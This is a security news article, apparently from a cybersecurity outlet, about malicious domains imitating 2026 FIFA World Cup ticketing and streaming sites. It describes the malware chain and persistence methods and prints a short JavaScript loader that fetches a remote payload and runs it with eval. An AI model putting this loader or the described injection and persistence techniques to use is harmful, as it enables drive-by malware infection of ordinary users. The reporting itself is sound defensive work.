Hackers Registering Domains to Launch Cyberattack Targeting 2026 FIFA World Cup Tournament

Cybersecurity

Security researchers have identified a significant increase in domain registrations associated with the upcoming 2026 FIFA World Cup tournament.

These domains often mimic legitimate ticketing portals, merchandise outlets, or live-stream platforms, acting as components of a complex cyber campaign aimed at credential harvesting, malware distribution, and financial data theft.

Attackers target the event’s high profile, registering deceptive domains up to eighteen months in advance to evade detection and build trust among unsuspecting fans.

As interest in match schedules and ticket availability rises, visitors are encouraged to interact with these fraudulent websites, unknowingly initiating the malware infection chain.

BeforeAI analysts have identified over 498 suspicious domains containing terms such as “fifa,” “worldcup,” and host city names, with a registration peak in August 2025.

These domains are spread across major registrars like GoDaddy.com and Namecheap, as well as low-friction TLDs such as .online and .shop.

In numerous instances, threat actors reuse aged domains initially registered for other sporting events, complicating attribution and takedown efforts.

The registration of domains tied to future tournaments in 2030 and 2034 emphasizes the long-term strategy of these cybercriminal groups.

The impact of this preparatory activity extends beyond basic phishing attempts. Victims providing personal details on these sites may be redirected to payload delivery servers hosting trojan droppers capable of evading signature-based detection.

Initial reconnaissance reveals that the malware uses polymorphic loaders to alter its decryption routines on each execution, thwarting static analysis.

Command-and-control (C2) communications occur over HTTPS to blend with legitimate traffic, while fallback DNS tunnels enable data exfiltration even if primary channels are disrupted.

Infection Mechanism and Persistence Tactics

The infection mechanism begins with malicious JavaScript injected into compromised landing pages.

When users visit URLs like watchfootball-live.com, the script checks the browser environment and delivers a second-stage payload only if conditions are met, such as outdated browser plugins. This selective delivery reduces exposure to sandbox analysis.

The following snippet illustrates how the script computes a time-based hash to retrieve the payload URL:

(function() {
    const key = "WorldCup2026";
    const now = Math.floor(Date.now() / 3600000);
    const hash = btoa(unescape(encodeURIComponent(key + now))).substr(0, 16);
    fetch(`https://${hash}.cdn-delivery.net/payload.js`)
        .then(response => response.text())
        .then(eval);
})();

Once executed, the payload writes a loader to the Windows Registry under HKCU\Software\Microsoft\Windows\CurrentVersion\Run to achieve persistence.

It then downloads additional modules disguised as harmless image files, which are encrypted executables unpacked in memory and injected into legitimate processes like svchost.exe.

By using reflective DLL injection, the malware avoids leaving components on disk, significantly reducing forensic footprints.

The sophisticated use of aged domains, combined with polymorphic and in-memory techniques, underscores the evolving threat landscape as the world gears up for the 2026 FIFA World Cup.

Continuous monitoring and proactive domain blacklisting will be crucial to protect fans and organizations from this impending cyberattack.